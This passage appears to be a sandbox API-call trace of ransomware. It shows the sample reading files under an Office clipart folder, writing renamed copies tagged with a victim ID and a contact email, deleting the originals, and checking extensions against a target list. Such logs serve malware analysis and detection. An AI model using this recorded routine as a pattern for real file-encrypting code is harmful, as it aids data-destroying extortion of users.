lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.146] SetEndOfFile (hFile=0x510) returned 1 [0192.147] CloseHandle (hObject=0x510) returned 1 [0192.147] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.147] SetEndOfFile (hFile=0x434) returned 1 [0192.164] CloseHandle (hObject=0x434) returned 1 [0192.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0192.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.166] lstrlenW (lpString=".doc") returned 4 [0192.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.166] lstrlenW (lpString=".docx") returned 5 [0192.166] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0192.166] lstrlenW (lpString=".pdf") returned 4 [0192.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.166] lstrlenW (lpString=".xls") returned 4 [0192.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.166] lstrlenW (lpString=".xlsx") returned 5 [0192.166] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0192.167] lstrlenW (lpString=".ppt") returned 4 [0192.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.167] lstrlenW (lpString=".zip") returned 4 [0192.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.167] lstrlenW (lpString=".rar") returned 4 [0192.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.167] lstrlenW (lpString=".bz2") returned 4 [0192.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.167] lstrlenW (lpString=".7z") returned 3 [0192.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.167] lstrlenW (lpString=".dbf") returned 4 [0192.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.167] lstrlenW (lpString=".1cd") returned 4 [0192.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186360.WMF") returned 68 [0192.487] lstrlenW (lpString=".jpg") returned 4 [0192.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0193.031] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.031] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.033] GetLastError () returned 0x0 [0193.033] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2870, lpOverlapped=0x0) returned 1 [0193.036] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2880, lpOverlapped=0x0) returned 1 [0193.038] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.038] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.038] SetEndOfFile (hFile=0x540) returned 1 [0193.038] CloseHandle (hObject=0x540) returned 1 [0193.038] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.038] SetEndOfFile (hFile=0x528) returned 1 [0193.042] CloseHandle (hObject=0x528) returned 1 [0193.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 1 [0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.045] lstrlenW (lpString=".doc") returned 4 [0193.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.045] lstrlenW (lpString=".docx") returned 5 [0193.045] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.045] lstrlenW (lpString=".pdf") returned 4 [0193.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.046] lstrlenW (lpString=".xls") returned 4 [0193.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.047] lstrlenW (lpString=".xlsx") returned 5 [0193.047] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.047] lstrlenW (lpString=".ppt") returned 4 [0193.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.047] lstrlenW (lpString=".zip") returned 4 [0193.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.047] lstrlenW (lpString=".rar") returned 4 [0193.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.047] lstrlenW (lpString=".bz2") returned 4 [0193.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.047] lstrlenW (lpString=".7z") returned 3 [0193.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.047] lstrlenW (lpString=".dbf") returned 4 [0193.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.047] lstrlenW (lpString=".1cd") returned 4 [0193.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.047] lstrlenW (lpString=".jpg") returned 4 [0193.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.048] lstrlenW (lpString=".doc") returned 4 [0193.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString=".docx") returned 5 [0193.048] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.048] lstrlenW (lpString=".pdf") returned 4 [0193.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString=".xls") returned 4 [0193.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.048] lstrlenW (lpString=".xlsx") returned 5 [0193.048] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.048] lstrlenW (lpString=".ppt") returned 4 [0193.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.048] lstrlenW (lpString=".zip") returned 4 [0193.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.048] lstrlenW (lpString=".rar") returned 4 [0193.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString=".bz2") returned 4 [0193.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.048] lstrlenW (lpString=".7z") returned 3 [0193.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.049] lstrlenW (lpString=".dbf") returned 4 [0193.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.049] lstrlenW (lpString=".1cd") returned 4 [0193.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68 [0193.049] lstrlenW (lpString=".jpg") returned 4 [0193.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.049] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.049] lstrlenW (lpString="J0187829.WMF") returned 12 [0193.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0193.051] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=12352) returned 1 [0193.051] CloseHandle (hObject=0x528) returned 1 [0193.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 0x220 [0193.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0193.052] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.052] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.054] GetLastError () returned 0x0 [0193.054] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3040, lpOverlapped=0x0) returned 1 [0193.057] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3050, lpOverlapped=0x0) returned 1 [0193.059] ReadFile (in: hFile=0x528, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.059] WriteFile (in: hFile=0x540, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.059] SetEndOfFile (hFile=0x540) returned 1 [0193.059] CloseHandle (hObject=0x540) returned 1 [0193.059] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.060] SetEndOfFile (hFile=0x528) returned 1 [0193.501] CloseHandle (hObject=0x528) returned 1 [0193.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0193.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.661] lstrlenW (lpString=".doc") returned 4 [0193.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.661] lstrlenW (lpString=".docx") returned 5 [0193.661] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.661] lstrlenW (lpString=".pdf") returned 4 [0193.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.661] lstrlenW (lpString=".xls") returned 4 [0193.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.661] lstrlenW (lpString=".xlsx") returned 5 [0193.661] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.661] lstrlenW (lpString=".ppt") returned 4 [0193.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.662] lstrlenW (lpString=".zip") returned 4 [0193.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.662] lstrlenW (lpString=".rar") returned 4 [0193.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.662] lstrlenW (lpString=".bz2") returned 4 [0193.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.662] lstrlenW (lpString=".7z") returned 3 [0193.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.662] lstrlenW (lpString=".dbf") returned 4 [0193.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.662] lstrlenW (lpString=".1cd") returned 4 [0193.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0193.662] lstrlenW (lpString=".jpg") returned 4 [0193.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.663] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2732) returned 1 [0193.663] CloseHandle (hObject=0x538) returned 1 [0193.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 0x220 [0193.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.664] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.664] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.667] GetLastError () returned 0x0 [0193.667] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xaac, lpOverlapped=0x0) returned 1 [0193.669] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xab0, lpOverlapped=0x0) returned 1 [0193.670] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.670] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.670] SetEndOfFile (hFile=0x44c) returned 1 [0193.670] CloseHandle (hObject=0x44c) returned 1 [0193.670] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.670] SetEndOfFile (hFile=0x538) returned 1 [0193.673] CloseHandle (hObject=0x538) returned 1 [0193.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.676] lstrlenW (lpString=".doc") returned 4 [0193.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".docx") returned 5 [0193.676] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.676] lstrlenW (lpString=".pdf") returned 4 [0193.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString=".xls") returned 4 [0193.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.676] lstrlenW (lpString=".xlsx") returned 5 [0193.676] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.676] lstrlenW (lpString=".ppt") returned 4 [0193.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.676] lstrlenW (lpString=".zip") returned 4 [0193.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.677] lstrlenW (lpString=".rar") returned 4 [0193.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString=".bz2") returned 4 [0193.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString=".7z") returned 3 [0193.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.677] lstrlenW (lpString=".dbf") returned 4 [0193.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.677] lstrlenW (lpString=".1cd") returned 4 [0193.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0193.677] lstrlenW (lpString=".jpg") returned 4 [0193.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.678] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=9108) returned 1 [0193.678] CloseHandle (hObject=0x538) returned 1 [0193.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf")) returned 0x220 [0193.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.679] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.679] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187861.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.681] GetLastError () returned 0x0 [0193.681] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2394, lpOverlapped=0x0) returned 1 [0193.683] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x23a0, lpOverlapped=0x0) returned 1 [0193.684] ReadFile (in: hFile=0x538, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.684] WriteFile (in: hFile=0x44c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.684] SetEndOfFile (hFile=0x44c) returned 1 [0193.685] CloseHandle (hObject=0x44c) returned 1 [0193.685] SetFilePointerEx (in: 